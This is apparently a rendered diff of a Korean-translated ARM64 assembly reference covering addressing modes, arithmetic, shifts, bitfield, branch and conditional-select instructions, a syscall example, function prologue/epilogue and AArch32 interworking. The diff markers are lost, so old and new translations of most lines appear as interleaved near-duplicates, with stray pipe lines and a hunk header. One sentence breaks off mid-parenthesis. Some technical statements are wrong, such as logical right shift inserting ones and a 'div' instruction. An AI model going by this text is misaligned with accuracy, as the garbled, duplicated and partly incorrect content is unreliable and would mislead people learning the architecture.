* **후행 인덱스 모드**: 이는 이전 것과 유사하지만 메모리 주소에 액세스한 다음 오프셋을 계산하고 저장합니다.
|
||||
* `ldr x0, [x1], #8`, `x1`을 `x0`에 로드하고 x1을 `x1 + 8`로 업데이트합니다.
|
||||
* **PC 상대 주소 지정**: 이 경우 로드할 주소는 현재 PC 레지스터와 관련하여 계산됩니다.
|
||||
* `ldr x1, =_start`, 이는 `_start` 심볼이 시작하는 주소를 현재 PC와 관련하여 x1에 로드합니다.
|
||||
* **`str`**: **레지스터**의 값을 **메모리**에 저장.
|
||||
* 예: `str x0, [x1]` — 이는 `x0`의 값을 `x1`이 가리키는 메모리 위치에 저장합니다.
|
||||
* **`ldp`**: **레지스터 쌍 로드**. 이 명령은 **연속된 메모리** 위치에서 **두 레지스터**를 로드합니다. 메모리 주소는 일반적으로 다른 레지스터의 값에 오프셋을 추가하여 형성됩니다.
|
||||
* 예: `ldp x0, x1, [x2]` — 이는 각각 `x2` 및 `x2 + 8` 위치의 메모리에서 `x0` 및 `x1`을 로드합니다.
|
||||
* **`stp`**: **레지스터 쌍 저장**. 이 명령은 **연속된 메모리** 위치에 **두 레지스터**를 저장합니다. 메모리 주소는 일반적으로 다른 레지스터의 값에 오프셋을 추가하여 형성됩니다.
|
||||
* 예: `stp x0, x1, [sp]` — 이는 각각 `sp` 및 `sp + 8` 위치의 메모리에 `x0` 및 `x1`을 저장합니다.
|
||||
* `stp x0, x1, [sp, #16]!` — 이는 각각 `sp+16` 및 `sp + 24` 위치의 메모리에 `x0` 및 `x1`을 저장하고 `sp`를 `sp+16`로 업데이트합니다.
|
||||
* **`mov`**: **값을** 한 **레지스터**에서 다른 레지스터로 **이동**합니다.
|
||||
* 예: `mov x0, x1` — 이 명령은 `x1`의 값을 `x0`로 이동합니다.
|
||||
* **`ldr`**: **메모리**에서 **레지스터**로 값을 **로드**합니다.
|
||||
* 예: `ldr x0, [x1]` — 이 명령은 `x1`이 가리키는 메모리 위치에서 값을 `x0`로 로드합니다.
|
||||
* **오프셋 모드**: 원래 포인터에 영향을 미치는 오프셋이 표시됩니다. 예를 들어:
|
||||
* `ldr x2, [x1, #8]`, 이는 `x1 + 8`에서 값을 `x2`로 로드합니다.
|
||||
* `ldr x2, [x0, x1, lsl #2]`, 이는 배열 `x0`에서 위치 `x1`(인덱스) \* 4에서 객체를 `x2`로 로드합니다.
|
||||
* **사전 인덱스 모드**: 원본에 계산을 적용하고 결과를 얻은 후 새로운 원본을 원본에 저장합니다.
|
||||
* `ldr x2, [x1, #8]!`, 이는 `x1 + 8`을 `x2`로 로드하고 `x1`에 `x1 + 8`의 결과를 저장합니다.
|
||||
* `str lr, [sp, #-4]!`, 링크 레지스터를 `sp`에 저장하고 레지스터 `sp`를 업데이트합니다.
|
||||
* **후 인덱스 모드**: 이전과 비슷하지만 메모리 주소에 접근한 후 오프셋이 계산되고 저장됩니다.
|
||||
* `ldr x0, [x1], #8`, `x1`을 `x0`로 로드하고 `x1`을 `x1 + 8`로 업데이트합니다.
|
||||
* **PC 상대 주소 지정**: 이 경우 로드할 주소는 PC 레지스터에 상대적으로 계산됩니다.
|
||||
* `ldr x1, =_start`, 이는 `_start` 기호가 시작하는 주소를 현재 PC에 상대적으로 `x1`에 로드합니다.
|
||||
* **`str`**: **레지스터**에서 **메모리**로 값을 **저장**합니다.
|
||||
* 예: `str x0, [x1]` — 이 명령은 `x0`의 값을 `x1`이 가리키는 메모리 위치에 저장합니다.
|
||||
* **`ldp`**: **레지스터 쌍 로드**. 이 명령은 **연속 메모리** 위치에서 두 레지스터를 **로드**합니다. 메모리 주소는 일반적으로 다른 레지스터의 값에 오프셋을 추가하여 형성됩니다.
|
||||
* 예: `ldp x0, x1, [x2]` — 이 명령은 `x2` 및 `x2 + 8`의 메모리 위치에서 각각 `x0` 및 `x1`을 로드합니다.
|
||||
* **`stp`**: **레지스터 쌍 저장**. 이 명령은 **연속 메모리** 위치에 두 레지스터를 **저장**합니다. 메모리 주소는 일반적으로 다른 레지스터의 값에 오프셋을 추가하여 형성됩니다.
|
||||
* 예: `stp x0, x1, [sp]` — 이 명령은 `sp` 및 `sp + 8`의 메모리 위치에 각각 `x0` 및 `x1`을 저장합니다.
|
||||
* `stp x0, x1, [sp, #16]!` — 이 명령은 `sp+16` 및 `sp + 24`의 메모리 위치에 각각 `x0` 및 `x1`을 저장하고 `sp`를 `sp+16`으로 업데이트합니다.
|
||||
* **`add`**: 두 레지스터의 값을 더하고 결과를 레지스터에 저장합니다.
|
||||
* 구문: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
|
||||
* Xn1 -> 대상
|
||||
* Xn2 -> 피연산자 1
|
||||
* Xn3 | #imm -> 피연산자 2 (레지스터 또는 즉시값)
|
||||
* \[shift #N | RRX] -> 시프트 또는 RRX 호출 수행
|
||||
* Xn3 | #imm -> 피연산자 2(레지스터 또는 즉각적인 값)
|
||||
* \[shift #N | RRX] -> 시프트를 수행하거나 RRX를 호출합니다.
|
||||
* 예: `add x0, x1, x2` — 이 명령은 `x1`과 `x2`의 값을 더하고 결과를 `x0`에 저장합니다.
|
||||
* `add x5, x5, #1, lsl #12` — 이는 4096에 해당합니다 (1을 12번 시프트하여) -> 1 0000 0000 0000 0000
|
||||
* **`adds`** 이 명령은 `add`를 수행하고 플래그를 업데이트합니다.
|
||||
* `add x5, x5, #1, lsl #12` — 이는 4096과 같습니다(1을 12번 시프트) -> 1 0000 0000 0000 0000
|
||||
* **`adds`**: 이는 `add`를 수행하고 플래그를 업데이트합니다.
|
||||
* **`sub`**: 두 레지스터의 값을 빼고 결과를 레지스터에 저장합니다.
|
||||
* **`add`** 구문을 확인하세요.
|
||||
* 예: `sub x0, x1, x2` — 이 명령은 `x1`에서 `x2`의 값을 빼고 결과를 `x0`에 저장합니다.
|
||||
* **`subs`** 이 명령은 sub와 유사하지만 플래그를 업데이트합니다.
|
||||
* **`mul`**: 두 레지스터의 값을 곱하고 결과를 레지스터에 저장합니다.
|
||||
* **`add`** **구문**을 확인하십시오.
|
||||
* 예: `sub x0, x1, x2` — 이 명령은 `x2`의 값을 `x1`에서 빼고 결과를 `x0`에 저장합니다.
|
||||
* **`subs`**: 이는 빼기와 같지만 플래그를 업데이트합니다.
|
||||
* **`mul`**: **두 레지스터**의 값을 곱하고 결과를 레지스터에 저장합니다.
|
||||
* 예: `mul x0, x1, x2` — 이 명령은 `x1`과 `x2`의 값을 곱하고 결과를 `x0`에 저장합니다.
|
||||
* **`div`**: 한 레지스터의 값을 다른 레지스터로 나누고 결과를 레지스터에 저장합니다.
|
||||
* 예: `div x0, x1, x2` — 이 명령은 `x1`의 값을 `x2`로 나누고 결과를 `x0`에 저장합니다.
|
||||
* **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
|
||||
* **논리 왼쪽 시프트**: 끝에서 0을 추가하여 다른 비트를 앞쪽으로 이동 (n번 2로 곱하기)
|
||||
* **논리 오른쪽 시프트**: 시작 부분에 1을 추가하여 다른 비트를 뒤로 이동 (부호 없는 경우 n번 2로 나누기)
|
||||
* **산술 오른쪽 시프트**: **`lsr`**와 유사하지만, 최상위 비트가 1이면 0을 추가하는 대신 1을 추가함 (부호 있는 경우 n번 2로 나누기)
|
||||
* **오른쪽으로 회전**: **`lsr`**와 유사하지만 오른쪽에서 제거된 것은 왼쪽에 추가됨
|
||||
* **확장된 오른쪽 회전**: **`ror`**와 유사하지만 캐리 플래그가 "가장 중요한 비트"로 사용됨. 따라서 캐리 플래그가 비트 31로 이동되고 제거된 비트가 캐리 플래그로 이동함.
|
||||
* **`bfm`**: **비트 필드 이동**, 이러한 작업은 값을 복사하고 해당 값을 다른 레지스터로 복사함. **`#s`**는 **가장 왼쪽 비트** 위치를 지정하고 **`#r`**은 **오른쪽으로 회전하는 양**을 지정함.
|
||||
* **논리적 왼쪽 시프트**: 끝에서 0을 추가하고 다른 비트를 앞으로 이동합니다(2배로 곱하기).
|
||||
* **논리적 오른쪽 시프트**: 시작에서 1을 추가하고 다른 비트를 뒤로 이동합니다(부호 없는 경우 2배로 나누기).
|
||||
* **산술적 오른쪽 시프트**: **`lsr`**와 같지만 가장 중요한 비트가 1인 경우 0 대신 1을 추가합니다(부호 있는 경우 n배로 나누기).
|
||||
* **오른쪽 회전**: **`lsr`**와 같지만 오른쪽에서 제거된 것은 왼쪽에 추가됩니다.
|
||||
* **확장된 오른쪽 회전**: **`ror`**와 같지만 캐리 플래그가 "가장 중요한 비트"로 사용됩니다. 따라서 캐리 플래그는 비트 31로 이동하고 제거된 비트는 캐리 플래그로 이동합니다.
|
||||
* **`bfm`**: **비트 필드 이동**, 이 작업은 **값에서 `0...n` 비트를 복사하여** **`m..m+n`** 위치에 배치합니다. **`#s`**는 **가장 왼쪽 비트** 위치를 지정하고 **`#r`**은 **오른쪽 회전 양**을 지정합니다.
|
||||
* 비트 필드 이동: `BFM Xd, Xn, #r`
|
||||
* 부호 있는 비트 필드 이동: `SBFM Xd, Xn, #r, #s`
|
||||
* 부호 없는 비트 필드 이동: `UBFM Xd, Xn, #r, #s`
|
||||
* **비트 필드 추출 및 삽입:** 레지스터에서 비트 필드를 복사하고 다른 레지스터로 복사함.
|
||||
* **`BFI X1, X2, #3, #4`** X2에서 3번째 비트부터 4비트를 X1에 삽입
|
||||
* **`BFXIL X1, X2, #3, #4`** X2의 3번째 비트에서 4비트를 추출하여 X1에 복사
|
||||
* **`SBFIZ X1, X2, #3, #4`** X2에서 4비트를 부호 확장하고 3번째 비트 위치부터 X1에 삽입하여 오른쪽 비트를 0으로 만듦
|
||||
* **`SBFX X1, X2, #3, #4`** X2에서 3번째 비트부터 4비트를 추출하여 부호 확장하고 결과를 X1에 배치
|
||||
* **`UBFIZ X1, X2, #3, #4`** X2에서 4비트를 0으로 확장하고 3번째 비트 위치부터 X1에 삽입
|
||||
* **`UBFX X1, X2, #3, #4`** X2에서 3번째 비트부터 4비트를 추출하여 0으로 확장된 결과를 X1에 배치.
|
||||
* **X로 확장된 부호:** 값을 확장하여 해당 값과 작업을 수행할 수 있도록 부호를 확장함 (또는 부호 없는 버전에서는 0을 추가함):
|
||||
* **`SXTB X1, W2`** W2에서 X1로 바이트의 부호를 확장함 (`W2`는 `X2`의 절반)
|
||||
* **`SXTH X1, W2`** W2에서 X1로 16비트 숫자의 부호를 확장함
|
||||
* **`SXTW X1, W2`** W2에서 X1로 바이트의 부호를 확장함
|
||||
* **`UXTB X1, W2`** W2에서 X1로 바이트에 0을 추가함 (부호 없음) 64비트를 채우기 위해
|
||||
* **`extr`:** 지정된 **레지스터 쌍에서 비트를 추출함**.
|
||||
* 예: `EXTR W3, W2, W1, #3` 이 명령은 **W1+W2**를 연결하고 **W2의 3번째 비트부터 W1의 3번째 비트까지** 가져와 W3에 저장함.
|
||||
* **`cmp`**: 두 레지스터를 비교하고 조건 플래그를 설정함. 목적 레지스터를 제로 레지스터로 설정하는 **`subs`**의 별칭임. `m == n`인지 확인하는 데 유용함.
|
||||
* **`subs`**와 동일한 구문을 지원함
|
||||
* 예: `cmp x0, x1` — 이 명령은 `x0`와 `x1`의 값을 비교하고 조건 플래그를 설정함.
|
||||
* **`cmn`**: **음수 비교** 피연산자. 이 경우 **`adds`**의 별칭이며 동일한 구문을 지원함. `m == -n`인지 확인하는 데 유용함.
|
||||
* **`ccmp`**: 조건부 비교, 이전 비교가 참인 경우에만 수행되는 비교로 특정하게 nzcv 비트를 설정함.
|
||||
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> x1 != x2이고 x3 < x4인 경우 func로 이동함
|
||||
* 이는 **이전 `cmp`가 `NE`였을 때만 `ccmp`가 실행**되며, 그렇지 않으면 비트 `nzcv`가 0으로 설정됨 (`blt` 비교를 충족하지 못함).
|
||||
* 이는 `ccmn`으로도 사용할 수 있음 (`cmp` 대 `cmn`과 유사함).
|
||||
* **`tst`**: 비교 값 중 어느 값이라도 1인지 확인함 (ANDS처럼 작동하지만 결과를 어디에도 저장하지 않음). 값이 1인 레지스터의 비트를 확인하는 데 유용함.
|
||||
* 예: `tst X1, #7` X1의 마지막 3비트 중 어느 비트가 1인지 확인함
|
||||
* **`teq`**: 결과를 버리고 XOR 연산을 수행함
|
||||
* **`b`**: 조건 없는 분기
|
||||
* **비트 필드 추출 및 삽입:** 레지스터에서 비트 필드를 복사하고 다른 레지스터로 복사합니다.
|
||||
* **`BFI X1, X2, #3, #4`**: X1의 3번째 비트에서 X2의 4비트를 삽입합니다.
|
||||
* **`BFXIL X1, X2, #3, #4`**: X2의 3번째 비트에서 4비트를 추출하여 X1에 복사합니다.
|
||||
* **`SBFIZ X1, X2, #3, #4`**: X2에서 4비트를 부호 확장하여 X1의 비트 위치 3에서 시작하여 오른쪽 비트를 0으로 설정합니다.
|
||||
* **`SBFX X1, X2, #3, #4`**: X2의 3번째 비트에서 4비트를 추출하고 부호 확장하여 결과를 X1에 배치합니다.
|
||||
* **`UBFIZ X1, X2, #3, #4`**: X2에서 4비트를 0으로 확장하여 X1의 비트 위치 3에서 시작하여 오른쪽 비트를 0으로 설정합니다.
|
||||
* **`UBFX X1, X2, #3, #4`**: X2의 3번째 비트에서 4비트를 추출하고 0으로 확장된 결과를 X1에 배치합니다.
|
||||
* **부호 확장 X로**: 값을 부호 확장(또는 부호 없는 버전에서는 0을 추가)하여 연산을 수행할 수 있도록 합니다:
|
||||
* **`SXTB X1, W2`**: W2에서 X1으로 바이트의 부호를 확장하여 64비트를 채웁니다(`W2`는 `X2`의 절반입니다).
|
||||
* **`SXTH X1, W2`**: W2에서 X1으로 16비트 숫자의 부호를 확장하여 64비트를 채웁니다.
|
||||
* **`SXTW X1, W2`**: W2에서 X1으로 바이트의 부호를 확장하여 64비트를 채웁니다.
|
||||
* **`UXTB X1, W2`**: W2에서 X1으로 0을 추가하여 64비트를 채웁니다(부호 없는).
|
||||
* **`extr`:** 지정된 **레지스터 쌍에서 비트를 추출**합니다.
|
||||
* 예: `EXTR W3, W2, W1, #3` — 이는 **W1+W2를 연결**하고 **W2의 비트 3에서 W1의 비트 3까지**를 가져와 W3에 저장합니다.
|
||||
* **`cmp`**: 두 레지스터를 **비교**하고 조건 플래그를 설정합니다. 이는 **`subs`**의 **별칭**으로, 대상 레지스터를 제로 레지스터로 설정합니다. `m == n`인지 확인하는 데 유용합니다.
|
||||
* **`subs`**와 동일한 구문을 지원합니다.
|
||||
* 예: `cmp x0, x1` — 이 명령은 `x0`와 `x1`의 값을 비교하고 조건 플래그를 적절히 설정합니다.
|
||||
* **`cmn`**: **부정 피연산자**를 비교합니다. 이 경우 **`adds`**의 **별칭**이며 동일한 구문을 지원합니다. `m == -n`인지 확인하는 데 유용합니다.
|
||||
* **`ccmp`**: 조건부 비교로, 이전 비교가 참인 경우에만 수행되며 nzcv 비트를 설정합니다.
|
||||
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> x1 != x2이고 x3 < x4인 경우 func로 점프합니다.
|
||||
* 이는 **`ccmp`**가 **이전 `cmp`가 `NE`인 경우에만 실행되기 때문입니다**. 그렇지 않으면 비트 `nzcv`는 0으로 설정됩니다(이는 `blt` 비교를 만족하지 않습니다).
|
||||
* 이는 `ccmn`으로도 사용될 수 있습니다(부정적인 경우, `cmp`와 `cmn`처럼).
|
||||
* **`tst`**: 비교의 값 중 하나라도 1인지 확인합니다(결과를 어디에도 저장하지 않는 ANDS처럼 작동합니다). 레지스터의 값과 레지스터의 비트 중 하나라도 1인지 확인하는 데 유용합니다.
|
||||
* 예: `tst X1, #7` — X1의 마지막 3비트 중 하나라도 1인지 확인합니다.
|
||||
* **`teq`**: 결과를 버리는 XOR 연산입니다.
|
||||
* **`b`**: 무조건 분기합니다.
|
||||
* 예: `b myFunction`
|
||||
* 이는 링크 레지스터를 반환 주소로 채우지 않음 (되돌아가야 하는 서브루틴 호출에 적합하지 않음)
|
||||
* **`bl`**: **링크가 있는 분기**, **서브루틴을 호출**하는 데 사용됨. **`x30`에 반환 주소를 저장함**.
|
||||
* 예: `bl myFunction` — 이 명령은 `myFunction` 함수를 호출하고 반환 주소를 `x30`에 저장함.
|
||||
* **`blr`**: **레지스터로 링크가 있는 분기**, **레지스터에 지정된** 대상을 **호출**하는 데 사용됨. 반환 주소를 `x30`에 저장함. (이는
|
||||
* 예: `blr x1` — 이 명령은 `x1`에 포함된 주소의 함수를 호출하고 반환 주소를 `x30`에 저장함.
|
||||
* **`ret`**: **서브루틴**에서 **반환**, 일반적으로 **`x30`**의 주소를 사용함.
|
||||
* 예: `ret` — 이 명령은 현재 서브루틴에서 `x30`에 있는 반환 주소를 사용하여 반환함.
|
||||
* **`b.<cond>`**: 조건부 분기
|
||||
* **`b.eq`**: **동일한 경우 분기**, 이전 `cmp` 명령을 기반으로 함.
|
||||
* 예: `b.eq label` — 이전 `cmp` 명령에서 두 값이 동일한 경우 `label`로 이동함.
|
||||
* **`b.ne`**: **같지 않으면 분기**. 이 명령은 조건 플래그를 확인하고(이전 비교 명령에 의해 설정됨), 비교된 값이 같지 않으면 레이블이나 주소로 분기합니다.
|
||||
* 예: `cmp x0, x1` 명령 후, `b.ne label` — 만약 `x0`와 `x1`의 값이 같지 않다면, `label`로 이동합니다.
|
||||
* **`cbz`**: **제로인 경우 비교하고 분기**. 이 명령은 레지스터를 제로와 비교하고, 같으면 레이블이나 주소로 분기합니다.
|
||||
* 예: `cbz x0, label` — 만약 `x0`의 값이 제로라면, `label`로 이동합니다.
|
||||
* **`cbnz`**: **제로가 아닌 경우 비교하고 분기**. 이 명령은 레지스터를 제로와 비교하고, 같지 않으면 레이블이나 주소로 분기합니다.
|
||||
* 예: `cbnz x0, label` — 만약 `x0`의 값이 제로가 아니라면, `label`로 이동합니다.
|
||||
* **`tbnz`**: 비트 테스트하고 제로가 아닌 경우 분기
|
||||
* 이 명령은 링크 레지스터에 반환 주소를 채우지 않으므로(반환이 필요한 서브루틴 호출에 적합하지 않음) 주의해야 합니다.
|
||||
* **`bl`**: **링크가 있는 분기**, **서브루틴을 호출**하는 데 사용됩니다. **`x30`**에 **반환 주소를 저장**합니다.
|
||||
* 예: `bl myFunction` — 이 명령은 `myFunction`을 호출하고 반환 주소를 `x30`에 저장합니다.
|
||||
* 이 명령은 링크 레지스터에 반환 주소를 채우지 않으므로(반환이 필요한 서브루틴 호출에 적합하지 않음) 주의해야 합니다.
|
||||
* **`blr`**: **레지스터로 링크가 있는 분기**, **서브루틴을 호출**하는 데 사용되며 대상이 **레지스터**에 **지정**됩니다. 반환 주소는 `x30`에 저장됩니다.
|
||||
* 예: `blr x1` — 이 명령은 `x1`에 포함된 주소의 함수를 호출하고 반환 주소를 `x30`에 저장합니다.
|
||||
* **`ret`**: **서브루틴에서 반환**하며, 일반적으로 **`x30`**의 주소를 사용합니다.
|
||||
* 예: `ret` — 이 명령은 현재 서브루틴에서 반환하며 `x30`의 반환 주소를 사용합니다.
|
||||
* **`b.<cond>`**: 조건부 분기입니다.
|
||||
* **`b.eq`**: **같으면 분기**, 이전 `cmp` 명령어를 기반으로 합니다.
|
||||
* 예: `b.eq label` — 이전 `cmp` 명령어가 두 값을 같다고 찾으면, 이 명령은 `label`로 점프합니다.
|
||||
* **`b.ne`**: **같지 않으면 분기**. 이 명령은 조건 플래그를 확인하며(이전 비교 명령어에 의해 설정됨), 비교된 값이 같지 않으면 레이블이나 주소로 분기합니다.
|
||||
* 예: `cmp x0, x1` 명령어 이후, `b.ne label` — `x0`와 `x1`의 값이 같지 않으면, 이 명령은 `label`로 점프합니다.
|
||||
* **`cbz`**: **제로에서 비교하고 분기**. 이 명령은 레지스터를 0과 비교하며, 같으면 레이블이나 주소로 분기합니다.
|
||||
* 예: `cbz x0, label` — `x0`의 값이 0이면, 이 명령은 `label`로 점프합니다.
|
||||
* **`cbnz`**: **비제로에서 비교하고 분기**. 이 명령은 레지스터를 0과 비교하며, 같지 않으면 레이블이나 주소로 분기합니다.
|
||||
* 예: `cbnz x0, label` — `x0`의 값이 비제로이면, 이 명령은 `label`로 점프합니다.
|
||||
* **`tbnz`**: 비트를 테스트하고 비제로에서 분기합니다.
|
||||
* 예: `tbnz x0, #8, label`
|
||||
* **`tbz`**: 비트 테스트하고 제로인 경우 분기
|
||||
* **`tbz`**: 비트를 테스트하고 제로에서 분기합니다.
|
||||
* 예: `tbz x0, #8, label`
|
||||
* **조건부 선택 연산**: 조건부 비트에 따라 동작이 달라지는 연산들입니다.
|
||||
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> 참인 경우, X0 = X1, 거짓인 경우, X0 = X2
|
||||
* `csinc Xd, Xn, Xm, cond` -> 참인 경우, Xd = Xn, 거짓인 경우, Xd = Xm + 1
|
||||
* `cinc Xd, Xn, cond` -> 참인 경우, Xd = Xn + 1, 거짓인 경우, Xd = Xn
|
||||
* `csinv Xd, Xn, Xm, cond` -> 참인 경우, Xd = Xn, 거짓인 경우, Xd = NOT(Xm)
|
||||
* `cinv Xd, Xn, cond` -> 참인 경우, Xd = NOT(Xn), 거짓인 경우, Xd = Xn
|
||||
* `csneg Xd, Xn, Xm, cond` -> 참인 경우, Xd = Xn, 거짓인 경우, Xd = - Xm
|
||||
* `cneg Xd, Xn, cond` -> 참인 경우, Xd = - Xn, 거짓인 경우, Xd = Xn
|
||||
* `cset Xd, Xn, Xm, cond` -> 참인 경우, Xd = 1, 거짓인 경우, Xd = 0
|
||||
* `csetm Xd, Xn, Xm, cond` -> 참인 경우, Xd = \<all 1>, 거짓인 경우, Xd = 0
|
||||
* **`adrp`**: **심볼의 페이지 주소**를 계산하고 레지스터에 저장합니다.
|
||||
* **조건부 선택 작업**: 이러한 작업은 조건 비트에 따라 동작이 달라집니다.
|
||||
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> 참이면 X0 = X1, 거짓이면 X0 = X2
|
||||
* `csinc Xd, Xn, Xm, cond` -> 참이면 Xd = Xn, 거짓이면 Xd = Xm + 1
|
||||
* `cinc Xd, Xn, cond` -> 참이면 Xd = Xn + 1, 거짓이면 Xd = Xn
|
||||
* `csinv Xd, Xn, Xm, cond` -> 참이면 Xd = Xn, 거짓이면 Xd = NOT(Xm)
|
||||
* `cinv Xd, Xn, cond` -> 참이면 Xd = NOT(Xn), 거짓이면 Xd = Xn
|
||||
* `csneg Xd, Xn, Xm, cond` -> 참이면 Xd = Xn, 거짓이면 Xd = - Xm
|
||||
* `cneg Xd, Xn, cond` -> 참이면 Xd = - Xn, 거짓이면 Xd = Xn
|
||||
* `cset Xd, Xn, Xm, cond` -> 참이면 Xd = 1, 거짓이면 Xd = 0
|
||||
* `csetm Xd, Xn, Xm, cond` -> 참이면 Xd = \<모두 1>, 거짓이면 Xd = 0
|
||||
* **`adrp`**: **기호의 페이지 주소를 계산**하고 레지스터에 저장합니다.
|
||||
* 예: `adrp x0, symbol` — 이 명령은 `symbol`의 페이지 주소를 계산하고 `x0`에 저장합니다.
|
||||
* **`ldrsw`**: 메모리에서 **부호 있는 32비트** 값을 **로드**하고 64비트로 **부호 확장**합니다.
|
||||
* 예: `ldrsw x0, [x1]` — 이 명령은 `x1`이 가리키는 메모리 위치에서 부호 있는 32비트 값을 로드하고 64비트로 부호 확장하여 `x0`에 저장합니다.
|
||||
* **`stur`**: 레지스터 값을 메모리 위치에 **저장**, 다른 레지스터의 오프셋을 사용합니다.
|
||||
* 예: `stur x0, [x1, #4]` — 이 명령은 `x1`에 현재 주소보다 4바이트 더 큰 메모리 주소에 있는 값을 `x0`에 저장합니다.
|
||||
* **`svc`** : **시스템 호출**을 수행합니다. "Supervisor Call"의 약자입니다. 프로세서가 이 명령을 실행하면 **사용자 모드에서 커널 모드로 전환**하고 **커널의 시스템 호출 처리** 코드가 있는 메모리의 특정 위치로 이동합니다.
|
||||
* **`ldrsw`**: **메모리에서 부호 있는 32비트 값을 로드**하고 **64비트로 부호 확장**합니다.
|
||||
* 예: `ldrsw x0, [x1]` — 이 명령은 `x1`이 가리키는 메모리 위치에서 부호 있는 32비트 값을 로드하고, 이를 64비트로 부호 확장하여 `x0`에 저장합니다.
|
||||
* **`stur`**: **레지스터 값을 메모리 위치에 저장**, 다른 레지스터에서 오프셋을 사용합니다.
|
||||
* 예: `stur x0, [x1, #4]` — 이 명령은 `x0`의 값을 `x1`의 주소보다 4바이트 더 큰 메모리 주소에 저장합니다.
|
||||
* **`svc`** : **시스템 호출**을 수행합니다. "Supervisor Call"의 약자입니다. 프로세서가 이 명령을 실행하면 **사용자 모드에서 커널 모드로 전환**되고, **커널의 시스템 호출 처리** 코드가 있는 메모리의 특정 위치로 점프합니다.
|
||||
* 예:
|
||||
|
||||
```armasm
|
||||
mov x8, 93 ; 레지스터 x8에 종료(93) 시스템 호출 번호를 로드합니다.
|
||||
mov x0, 0 ; 레지스터 x0에 종료 상태 코드(0)를 로드합니다.
|
||||
mov x8, 93 ; 시스템 호출 번호를 종료(93)로 레지스터 x8에 로드합니다.
|
||||
mov x0, 0 ; 종료 상태 코드(0)를 레지스터 x0에 로드합니다.
|
||||
svc 0 ; 시스템 호출을 수행합니다.
|
||||
```
|
||||
|
||||
### **함수 프롤로그**
|
||||
### **Function Prologue**
|
||||
|
||||
1. **링크 레지스터와 프레임 포인터를 스택에 저장**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```armasm
|
||||
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
2. **새 프레임 포인터 설정**: `mov x29, sp` (현재 함수에 대한 새 프레임 포인터 설정)
|
||||
3. **로컬 변수를 위한 스택에 공간 할당** (필요한 경우): `sub sp, sp, <size>` (<size>는 필요한 바이트 수)
|
||||
2. **새 프레임 포인터 설정**: `mov x29, sp` (현재 함수에 대한 새 프레임 포인터를 설정)
|
||||
3. **로컬 변수를 위한 스택 공간 할당 (필요한 경우)**: `sub sp, sp, <size>` (`<size>`는 필요한 바이트 수)
|
||||
|
||||
### **함수 에필로그**
|
||||
|
||||
1. **로컬 변수 해제 (할당된 경우)**: `add sp, sp, <size>`
|
||||
2. **링크 레지스터 및 프레임 포인터 복원**:
|
||||
2. **링크 레지스터와 프레임 포인터 복원**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```armasm
|
||||
|
@ -259,18 +259,18 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
3. **반환**: `ret` (링크 레지스터의 주소를 사용하여 호출자에게 제어를 반환)
|
||||
3. **Return**: `ret` (호출자에게 링크 레지스터의 주소를 사용하여 제어를 반환)
|
||||
|
||||
## AARCH32 실행 상태
|
||||
|
||||
Armv8-A는 32비트 프로그램의 실행을 지원합니다. **AArch32**는 **두 개의 명령어 세트** 중 하나에서 실행될 수 있으며 **`A32`** 및 **`T32`**로 **전환**할 수 있습니다.\
|
||||
**특권** 64비트 프로그램은 **32비트 프로그램의 실행을 예약**할 수 있으며 낮은 특권을 가진 32비트로 예외 수준 전환을 실행함으로써 가능합니다.\
|
||||
64비트에서 32비트로의 전환은 예외 수준의 낮아짐으로 발생합니다(예: EL1에서 EL0의 프로그램을 트리거하는 64비트 프로그램). 이는 `AArch32` 프로세스 스레드가 실행 준비가 되었을 때 **`SPSR_ELx`** 특수 레지스터의 **비트 4를 1로** 설정하여 수행되며, `SPSR_ELx`의 나머지 부분은 **`AArch32`** 프로그램의 CPSR을 저장합니다. 그런 다음 특권 프로세스는 **`ERET`** 명령을 호출하여 프로세서가 **`AArch32`**로 전환되어 CPSR에 따라 A32 또는 T32로 진입합니다\*\*.\*\*
|
||||
Armv8-A는 32비트 프로그램의 실행을 지원합니다. **AArch32**는 **두 가지 명령어 집합** 중 하나인 **`A32`**와 **`T32`**에서 실행될 수 있으며, **`interworking`**을 통해 이들 간에 전환할 수 있습니다.\
|
||||
**특권** 64비트 프로그램은 낮은 특권 32비트로의 예외 수준 전환을 실행하여 **32비트** 프로그램의 **실행을 예약**할 수 있습니다.\
|
||||
64비트에서 32비트로의 전환은 예외 수준의 하강과 함께 발생합니다(예: EL1의 64비트 프로그램이 EL0의 프로그램을 트리거하는 경우). 이는 `AArch32` 프로세스 스레드가 실행 준비가 되었을 때 **`SPSR_ELx`** 특수 레지스터의 **비트 4를 1로 설정**하여 수행되며, 나머지 `SPSR_ELx`는 **`AArch32`** 프로그램의 CPSR을 저장합니다. 그런 다음, 특권 프로세스는 **`ERET`** 명령어를 호출하여 프로세서가 **`AArch32`**로 전환되도록 하여 CPSR에 따라 A32 또는 T32로 진입합니다.\*\*
|
||||
|
||||
**`interworking`**은 CPSR의 J 및 T 비트를 사용하여 발생합니다. `J=0` 및 `T=0`은 **`A32`**를 의미하며, `J=0` 및 `T=1`은 **T32**를 의미합니다. 이는 기본적으로 명령어 세트가 T32임을 나타내기 위해 **가장 낮은 비트를 1로** 설정하는 것을 의미합니다.\
|
||||
이는 **interworking 분기 명령어**에서 설정되지만, PC가 대상 레지스터로 설정될 때 다른 명령어로 직접 설정할 수도 있습니다. 예시:
|
||||
**`interworking`**은 CPSR의 J 및 T 비트를 사용하여 발생합니다. `J=0` 및 `T=0`은 **`A32`**를 의미하고, `J=0` 및 `T=1`은 **T32**를 의미합니다. 이는 기본적으로 명령어 집합이 T32임을 나타내기 위해 **최하위 비트를 1로 설정**하는 것입니다.\
|
||||
이는 **interworking 분기 명령어** 중에 설정되지만, PC가 목적지 레지스터로 설정될 때 다른 명령어로 직접 설정할 수도 있습니다. 예:
|
||||
|
||||
또 다른 예시:
|
||||
또 다른 예:
|
||||
```armasm
|
||||
_start:
|
||||
